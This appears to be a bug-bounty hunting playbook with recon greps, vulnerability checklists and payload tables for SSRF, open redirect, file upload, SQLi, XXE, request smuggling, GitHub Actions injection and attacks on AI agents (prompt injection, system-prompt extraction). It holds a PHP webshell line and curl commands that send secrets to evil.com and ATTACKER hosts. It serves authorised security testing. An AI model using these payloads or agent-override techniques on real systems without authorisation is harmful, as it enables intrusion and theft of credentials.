grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
```

---

# PHASE 2: LEARN (Pre-Hunt Intelligence)

## Read Disclosed Reports
```bash
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'
```

## "What Changed" Method
1. Find disclosed report for similar tech
2. Get the fix commit
3. Read the diff -- identify the anti-pattern
4. Grep your target for that same anti-pattern

## Threat Model Template
```
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___
```

## 6 Key Patterns from Top Reports
1. **Feature Complexity = Bug Surface** -- imports, integrations, multi-tenancy, multi-step workflows
2. **Developer Inconsistency = Strongest Evidence** -- `timingSafeEqual` in one place, `===` elsewhere
3. **"Else Branch" Bug** -- proxy/gateway passes raw token without validation in else path
4. **Import/Export = SSRF** -- every "import from URL" feature has historically had SSRF
5. **Secondary/Legacy Endpoints = No Auth** -- `/api/v1/` guarded but `/api/` isn't
6. **Race Windows in Financial Ops** -- check-then-deduct as two DB operations = double-spend

---

# PHASE 3: HUNT

## Note-Taking System (Never Hunt Without This)
```markdown
# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
```

## Subdomain Type -> Hunt Strategy
- **dev/staging/test**: Debug endpoints, disabled auth, verbose errors
- **admin/internal**: Default creds, IP bypass headers (`X-Forwarded-For: 127.0.0.1`)
- **api/api-v2**: Enumerate with kiterunner, check older unprotected versions
- **auth/sso**: OAuth misconfigs, open redirect in `redirect_uri`
- **upload/cdn**: CORS, path traversal, stored XSS

## CVE-Seeded Audit Approach
1. **Build a CVE eval set** -- collect 5-10 prior CVEs for the target codebase
2. **Reproduce old bugs** -- verify you can find the pattern in older code
3. **Pattern-match forward** -- search for the same anti-pattern in current code
4. **Focus on wide attack surfaces** -- JS engines, parsers, anything processing untrusted external input

## Rust/Blockchain Source Code (Hard-Won Lessons)

**Panic paths: encoding vs decoding** -- `.unwrap()` on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

**"Known TODO" is not a mitigation** -- A comment like `// Votes are not signed for now` doesn't mean safe.

**Pattern-based hunting from confirmed findings** -- If `verify_signed_vote` is broken, check `verify_signed_proposal` and `verify_commit_signature`.

```bash
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
```

---

# VULNERABILITY HUNTING CHECKLISTS

## IDOR -- Insecure Direct Object Reference

> #1 most paid web2 class -- 30% of all submissions that get paid.

### IDOR Variants (10 Ways to Test)

| Variant | What to Test |
|---------|-------------|
| V1: Direct | Change object ID in URL path `/api/users/123` -> `/api/users/456` |
| V2: Body param | Change ID in POST/PUT JSON body `{"user_id": 456}` |
| V3: GraphQL node | `{ node(id: "base64(OtherType:123)") { ... } }` |
| V4: Batch/bulk | `/api/users?ids=1,2,3,4,5` -- request multiple IDs at once |
| V5: Nested | Change parent ID: `/orgs/{org_id}/users/{user_id}` |
| V6: File path | `/files/download?path=../other-user/file.pdf` |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try `/api/v1/` same endpoint |
| V10: Header injection | `X-User-ID: victim_id`, `X-Org-ID: victim_org` |

### IDOR Testing Checklist
- [ ] Create two accounts (A = attacker, B = victim)
- [ ] Log in as A, perform all actions, note all IDs in requests
- [ ] Log in as B, replay A's requests with A's IDs using B's auth
- [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
- [ ] Check API v1/v2 differences
- [ ] Check GraphQL schema for node() queries
- [ ] Check WebSocket messages for client-supplied IDs
- [ ] Test batch endpoints (can you request multiple IDs?)
- [ ] Try adding unexpected params: `?user_id=other_user`

### IDOR Chains (higher payout)
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot (LLM reads other user's data) = High

## SSRF -- Server-Side Request Forgery

- [ ] Try cloud metadata: `http://169.254.169.254/latest/meta-data/`
- [ ] Try internal services: `http://127.0.0.1:6379/` (Redis), `:9200` (Elasticsearch), `:27017` (MongoDB)
- [ ] Test all IP bypass techniques (see table below)
- [ ] Test protocol bypass: `file://`, `dict://`, `gopher://`
- [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

### SSRF IP Bypass Table (11 Techniques)

| Bypass | Payload | Notes |
|--------|---------|-------|
| Decimal IP | `http://2130706433/` | 127.0.0.1 as single decimal |
| Hex IP | `http://0x7f000001/` | Hex representation |
| Octal IP | `http://0177.0.0.1/` | Octal 0177 = 127 |
| Short IP | `http://127.1/` | Abbreviated notation |
| IPv6 | `http://[::1]/` | Loopback in IPv6 |
| IPv6-mapped | `http://[::ffff:127.0.0.1]/` | IPv4-mapped IPv6 |
| Redirect chain | `http://attacker.com/302->http://169.254.169.254` | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
| URL encoding | `http://127.0.0.1%2523@attacker.com` | Parser confusion |
| Enclosed alphanumeric | `http://①②⑦.⓪.⓪.①` | Unicode numerals |
| Protocol smuggling | `gopher://127.0.0.1:6379/_INFO` | Redis/other protocols |

### SSRF Impact Chain
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (code execution on cloud)
- Docker API accessible = Critical (direct RCE)

## OAuth / OIDC

- [ ] Missing `state` parameter -> CSRF
- [ ] `redirect_uri` accepts wildcards -> ATO
- [ ] Missing PKCE -> code theft
- [ ] Implicit flow -> token leakage in referrer
- [ ] Open redirect in post-auth redirect -> OAuth token theft chain

### Open Redirect Bypass Table (11 Techniques)

Use these when chaining open redirect into OAuth code theft:

| Bypass | Payload | Notes |
|--------|---------|-------|
| Double URL encoding | `%252F%252F` | Decodes to `//` after double decode |
| Backslash | `https://target.com\@evil.com` | Some parsers normalize `\` to `/` |
| Missing protocol | `//evil.com` | Protocol-relative |
| @-trick | `https://target.com@evil.com` | target.com becomes username |
| Protocol-relative | `///evil.com` | Triple slash |
| Tab/newline injection | `//evil%09.com` | Whitespace in hostname |
| Fragment trick | `https://evil.com#target.com` | Fragment misleads validation |
| Null byte | `https://evil.com%00target.com` | Some parsers truncate at null |
| Parameter pollution | `?next=target.com&next=evil.com` | Last value wins |
| Path confusion | `/redirect/..%2F..%2Fevil.com` | Path traversal in redirect |
| Unicode normalization | `https://evil.com/target.com` | Visual confusion |

## File Upload

### File Upload Bypass Table

| Bypass | Technique |
|--------|-----------|
| Double extension | `file.php.jpg`, `file.php%00.jpg` |
| Case variation | `file.pHp`, `file.PHP5` |
| Alternative extensions | `.phtml`, `.phar`, `.shtml`, `.inc` |
| Content-Type spoof | `image/jpeg` header with PHP content |
| Magic bytes | `GIF89a; <?php system($_GET['c']); ?>` |
| .htaccess upload | `AddType application/x-httpd-php .jpg` |
| SVG XSS | `<svg onload=alert(1)>` |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | `../../etc/cron.d/shell` in filename inside archive |

### Magic Bytes Reference
| Type | Hex |
|------|-----|
| JPEG | `FF D8 FF` |
| PNG | `89 50 4E 47 0D 0A 1A 0A` |
| GIF | `47 49 46 38` |
| PDF | `25 50 44 46` |
| ZIP/DOCX/XLSX | `50 4B 03 04` |

## Race Conditions

- [ ] Coupon codes / promo codes
- [ ] Gift card redemption
- [ ] Fund transfer / withdrawal
- [ ] Voting / rating limits
- [ ] OTP verification brute via race

```bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
```

### Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)
```

## Business Logic
- [ ] Negative quantities in cart
- [ ] Price parameter tampering
- [ ] Workflow skip (e.g., pay without checkout)
- [ ] Role escalation via registration fields
- [ ] Privilege persistence after downgrade

## XSS -- Cross-Site Scripting

### XSS Sinks (grep for these)
```javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput
```

### XSS Chains (escalate from Medium to High/Critical)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass -> Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain

## SQL Injection

### Detection
```bash
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi
```

### Modern SQLi WAF Bypass
```sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
```

## GraphQL

### Introspection (alone = Informational, but reveals attack surface)
```graphql
{ __schema { types { name fields { name type { name } } } } }
```

### Missing Field-Level Auth
```graphql
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
```

### Batching Attack (Rate Limit Bypass)
```json
[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]
```

## LLM / AI Features

- [ ] Prompt injection via user input passed to LLM
- [ ] Indirect injection via document/URL the AI processes
- [ ] IDOR in chat history (enumerate conversation IDs)
- [ ] System prompt extraction via roleplay/encoding
- [ ] RCE via code execution tool abuse
- [ ] ASCII smuggling (invisible unicode in LLM output)

### Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

| ID | Vuln Class | What to Test |
|----|-----------|-------------|
| ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |
| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
| ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |
| ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |
| ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |
| ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |
| ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |
| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |
| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |

**Triage rule:** ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

## Cache Poisoning / Web Cache Deception
- [ ] Test `X-Forwarded-Host`, `X-Original-URL`, `X-Rewrite-URL` -- unkeyed headers reflected in response
- [ ] Parameter cloaking (`?param=value;poison=xss`)
- [ ] Fat GET (body params on GET requests)
- [ ] Web cache deception (`/account/settings.css` -- trick cache into storing private response)
- [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers

## HTTP Request Smuggling
- [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
- [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
- [ ] H2.CL: HTTP/2 downgrade smuggling
- [ ] TE obfuscation: `Transfer-Encoding: xchunked`, tab prefix, space prefix
- [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically

### CL.TE Example
```http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.

## Android / Mobile Hunting
- [ ] Certificate pinning bypass (Frida/objection)
- [ ] Exported activities/receivers (AndroidManifest.xml)
- [ ] Deep link injection
- [ ] Shared preferences / SQLite in cleartext
- [ ] WebView JavaScript bridge
- [ ] Mobile API often uses older/different API version than web

## XXE — XML External Entity
- [ ] File upload features (DOCX, XLSX, SVG, PDF upload)
- [ ] SOAP/XML endpoints
- [ ] PDF generators (HTML-to-PDF conversion)
- [ ] RSS/Atom feed parsers
- [ ] SVG image processing
- [ ] Test: `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>`
- [ ] Test blind OOB: `<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net">`
- [ ] Test via SVG: `<svg><text>&xxe;</text></svg>`
- [ ] Test PHP filter: `php://filter/convert.base64-encode/resource=/etc/passwd`
- [ ] Test parameter entities (bypass some filters)

## Insecure Deserialization
- [ ] Look for serialized cookies (PHP `O:4:"User":...`, Java `AC ED 00 05`)
- [ ] Look for `unserialize()`, `pickle.loads()`, `ObjectInputStream.readObject()`
- [ ] Test Java: ysoserial gadget chains (CommonsCollections, Spring, Groovy)
- [ ] Test Python: pickle RCE payloads
- [ ] Test PHP: phpggc tool for Laravel/Symfony chains
- [ ] Test Ruby: Marshal.load RCE
- [ ] Check YAML deserialization (`yaml.load` vs `yaml.safe_load`)
- [ ] Check for deserialization in session handling

## Host Header Injection
- [ ] Password reset flow — does reset link use Host header?
- [ ] Test `Host: attacker.com` on all state-changing endpoints
- [ ] Test `X-Forwarded-Host: attacker.com`
- [ ] Test `X-Host: attacker.com`
- [ ] Check if cache uses Host as cache key
- [ ] Test multi-tenant apps — Host-based routing
- [ ] Test: cache poisoning via Host header

## Custom Header Injection
- [ ] `X-Forwarded-For: 127.0.0.1` (IP spoofing for admin panels)
- [ ] `X-Original-URL: /admin` (path override for access control)
- [ ] `X-Forwarded-User: admin` (auth bypass)
- [ ] `X-HTTP-Method-Override: DELETE` (method override)
- [ ] `X-Real-IP: 127.0.0.1` (IP spoofing)
- [ ] `CF-Connecting-IP: 127.0.0.1` (Cloudflare bypass)
- [ ] `X-Custom-IP-Authorization: 127.0.0.1`

## WebSocket Attacks
- [ ] IDOR: change userId/messageId in WS messages
- [ ] CSWSH: no Origin validation on WebSocket upgrade
- [ ] Injection: XSS/SQLi/SSRF via WS message content
- [ ] Auth bypass: connect without token, check if server validates
- [ ] Admin actions: `{"action":"admin.deleteUser","userId":"1"}`
- [ ] Test: `wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"`

## Clickjacking (Only with Chain)
- [ ] Missing X-Frame-Options AND CSP frame-ancestors
- [ ] Chain to: delete account, change email, transfer funds
- [ ] Create PoC HTML with invisible iframe + decoy button
- [ ] Test OAuth authorize endpoint (account linking = Critical)
- [ ] Only report if you can demonstrate a real action being clicked

## CI/CD Pipeline — GitHub Actions Security

> **Tooling**: Use [sisakulint](https://sisaku-security.github.io/lint/) for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: `brew install sisakulint` or download binary from releases.
>
> **Quick scan**: `sisakulint scan .github/workflows/` — flags Critical/High issues with auto-fix suggestions.
> **Remote scan**: `sisakulint scan --remote owner/repo` — scan without cloning.

### Recon: Finding Workflow Files

```bash
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
```

### Category 1: Code Injection & Expression Safety (CICD-SEC-04)

**Root cause**: Untrusted input (`github.event.issue.title`, `github.event.pull_request.body`, branch names, commit messages) interpolated into `run:` blocks via `${{ }}` expressions.

**Taint sources** (attacker-controlled):
```
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
```

- [ ] **Expression injection** — `${{ github.event.issue.title }}` in `run:` block = RCE
  ```yaml
  # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
  run: echo "${{ github.event.issue.title }}"

  # FIXED — use env var (shell-quoted, not expression-interpolated)
  env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"
  ```
- [ ] **Environment variable injection** — untrusted input → `$GITHUB_ENV`
  ```yaml
  # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
  run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV

  # FIXED — use heredoc delimiter
  run: |
    {
      echo "BRANCH<<EOF"
      echo "${{ github.head_ref }}"
      echo "EOF"
    } >> $GITHUB_ENV
  ```
- [ ] **PATH injection** — untrusted input → `$GITHUB_PATH` = arbitrary binary execution
- [ ] **Output clobbering** — untrusted input → `$GITHUB_OUTPUT` without heredoc delimiter = downstream job manipulation
- [ ] **Argument injection** — untrusted input as CLI argument (e.g., `docker run ${{ ... }}`)
  ```yaml
  # VULNERABLE
  run: docker run ${{ github.event.pull_request.body }}

  # FIXED — end-of-options marker + env var
  env:
    INPUT: ${{ github.event.pull_request.body }}
  run: docker run -- "$INPUT"
  ```
- [ ] **Request forgery (SSRF)** — attacker-controlled URL in `curl`/`wget` within workflow

### Category 2: Pipeline Poisoning & Untrusted Checkout

**Root cause**: Privileged triggers (`pull_request_target`, `workflow_run`) checkout attacker's PR code, which then runs with repository secrets.

- [ ] **Untrusted checkout** — `actions/checkout` on `pull_request_target` without explicit safe ref
  ```yaml
  # VULNERABLE — checks out attacker's PR code with repo secrets
  on: pull_request_target
  jobs:
    build:
      steps:
        - uses: actions/checkout@v4
          with:
            ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
        - run: make build  # runs attacker's Makefile with secrets

  # FIXED — only checkout base branch, or use read-only permissions
  permissions: {}
  steps:
    - uses: actions/checkout@v4  # checks out base branch by default
  ```
- [ ] **TOCTOU (Time-of-Check-Time-of-Use)** — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
- [ ] **Reusable workflow taint** — `secrets: inherit` passes all secrets to called workflow that processes untrusted input
- [ ] **Cache poisoning** — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
- [ ] **Cache poisoning (poisonable step)** — unsafe checkout followed by build step before cache save
- [ ] **Artifact poisoning** — `actions/download-artifact` from untrusted `workflow_run` without validation
  ```yaml
  # VULNERABLE — downloads artifact from untrusted workflow, then executes it
  on: workflow_run
  steps:
    - uses: actions/download-artifact@v4
    - run: ./downloaded-binary  # attacker-controlled binary

  # FIXED — verify artifact hash/signature before execution
  ```
- [ ] **Artipacked** — `actions/checkout` with `persist-credentials: true` (default) leaks `.git/config` credentials in uploaded artifacts
  ```yaml
  # FIXED
  - uses: actions/checkout@v4
    with:
      persist-credentials: false
  ```

### Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

- [ ] **Unpinned actions** — `uses: actions/checkout@v4` (mutable tag) instead of SHA pin
  ```yaml
  # VULNERABLE — tag can be force-pushed
  uses: actions/checkout@v4

  # FIXED — pinned to immutable commit SHA
  uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  ```
- [ ] **Impostor commit** — fork network allows pushing commits with SHA that appears to belong to upstream repo
- [ ] **Ref confusion** — ambiguous tag/branch names exploited to load unintended action version
- [ ] **Known vulnerable actions** — check actions against GHSA database (sisakulint detects automatically)
- [ ] **Archived actions** — unmaintained action with unpatched vulnerabilities
- [ ] **Unpinned container images** — `image: ubuntu:latest` instead of SHA256 digest pin

### Category 4: Credential & Secret Protection

- [ ] **Secret exfiltration** — `curl https://evil.com/${{ secrets.TOKEN }}` in workflow
- [ ] **Secrets in artifacts** — uploaded artifacts contain `.env`, credentials, or hidden files
  ```yaml
  # FIXED — exclude hidden files
  - uses: actions/upload-artifact@v4
    with:
      include-hidden-files: false
  ```
- [ ] **Unmasked secrets** — `fromJson()` derived values bypass GitHub's automatic masking
  ```yaml
  # FIXED — manually mask derived secrets
  run: |
    TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
    echo "::add-mask::$TOKEN"
  ```
- [ ] **Excessive `secrets: inherit`** — reusable workflow call inherits all secrets when it only needs one
- [ ] **Hardcoded credentials** — API keys, passwords, tokens directly in workflow YAML

### Category 5: Triggers & Access Control (CICD-SEC-01)

- [ ] **Dangerous triggers without mitigation** — `pull_request_target` or `workflow_run` with no `permissions: {}`, no approval gate, no ref restriction
- [ ] **Dangerous triggers with partial mitigation** — some protections present but bypassable
- [ ] **Label-based approval bypass** — `if: contains(github.event.pull_request.labels.*.name, 'approved')` is spoofable (attacker can add labels)
- [ ] **Bot condition spoofing** — `if: github.actor != 'dependabot[bot]'` is trivially bypassed by naming account similarly
- [ ] **Excessive GITHUB_TOKEN permissions** — `permissions: write-all` when only `contents: read` needed
- [ ] **Self-hosted runners in public repos** — untrusted PRs execute on org infrastructure = container escape → lateral movement
- [ ] **OIDC token theft** — CI runners expose OIDC tokens that grant cloud access

### Category 6: AI Agent Security (NEW — 2025+)

- [ ] **Unrestricted AI trigger** — `allowed_non_write_users: "*"` lets any user trigger AI agent execution
- [ ] **Excessive tool grants** — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
- [ ] **Prompt injection via workflow context** — `${{ github.event.issue.body }}` interpolated into AI agent prompt parameter

### Hunting Workflow

```
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
```

### Expression Injection PoC Template

```bash
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)
```

### Real-World GHSAs (Proven Payouts)

| GHSA | Action | Bug Class | Severity |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |

### A→B Signal: CI/CD Chains

```
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
```

### Deep-Dive: From sisakulint Finding to Bounty Report

sisakulint findings are **potentially exploitable** — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.

#### 1. Code Injection / Argument Injection

**Gate question:** Can an external attacker trigger this workflow AND does the tainted input reach a shell context?

**Verification depth:**
1. **Trigger accessibility** — `issues: opened` and `issue_comment: created` are triggerable by ANY GitHub user. `pull_request_target` is triggerable via fork PR. Check if there's an `if:` condition filtering by actor/association.
2. **Direct vs transitive taint** — The workflow file itself may look safe. Cycode found Bazel's $13K bug because `cherry-picker.yml` passed `${{ github.event.issue.title }}` via `with:` to a **composite action in another repo** (`bazelbuild/continuous-integration`). The composite action's `action.yml` had `run: TITLE="${{ inputs.issue-title }}"`. Conventional scanners (actionlint) missed this because they don't follow `uses:` into external composite actions. **Always fetch and read the composite action's action.yml.**
3. **Payload construction** — Branch names cannot contain spaces. Ultralytics YOLO attacker used `${IFS}` (Internal Field Separator) and Bash brace expansion `{curl,-sSfL,URL}` to bypass this. Issue titles/bodies have no such restriction.
4. **Secrets reachability** — Check `permissions:` at workflow AND job level. No explicit `permissions:` block = repo default (often `write-all`). Check `env:` blocks for `${{ secrets.* }}`. Check if `GITHUB_TOKEN` has write permissions.
5. **Impact chain** — Bazel: issue title injection → composite action shell injection → `BAZEL_IO_TOKEN` + `GITHUB_TOKEN (write-all)` → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).

**Kill signals:** `${{ contains(...) }}` or `${{ startsWith(...) }}` returning booleans are NOT injectable — false positive. `${{ github.event.pull_request.labels.*.name }}` inside `contains()` evaluates to `true`/`false`, not the label text.

#### 2. Untrusted Checkout (Pwn Request)

**Gate question:** Does the workflow checkout attacker-controlled code AND then execute something from that checkout?

**Verification depth:**
1. **Explicit vs implicit code execution** — The Flank $7.5K bug: `gh pr checkout` → `gradle/gradle-build-action` runs Gradle → Gradle auto-evaluates `settings.gradle.kts` as Kotlin script. The attacker never wrote a `run:` command. **Any build tool that reads config from the repo is an execution vector**: `Makefile`, `package.json` (postinstall scripts), `setup.py`, `build.gradle.kts`, `.cargo/config.toml`, `Gemfile`.
2. **Issue_comment is as dangerous as pull_request_target** — Rspack NPM token theft: `issue_comment` trigger + `refs/pull/${{ github.event.issue.number }}/head` checkout. `issue_comment` runs in base repo context with full secrets. Draft PRs are included. No contributor status check. **Always check issue_comment workflows for PR checkout patterns.**
3. **Self-hosted runner escalation** — If `runs-on:` contains `self-hosted`, check: (a) Is the runner ephemeral? (`--ephemeral` in config.sh). (b) Is the runner in Docker group? (`docker run -v /:/host --privileged`). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: `RUNNER_TRACKING_ID=0` + install attacker's runner agent) → wait for privileged workflow → steal PATs from `.git/config` or process memory.
4. **TOCTOU** — Label-gated `pull_request_target` workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The `ref:` at checkout time resolves to the new commit. **Mutable refs (`github.event.pull_request.head.sha` at trigger time vs checkout time) are the root cause.**
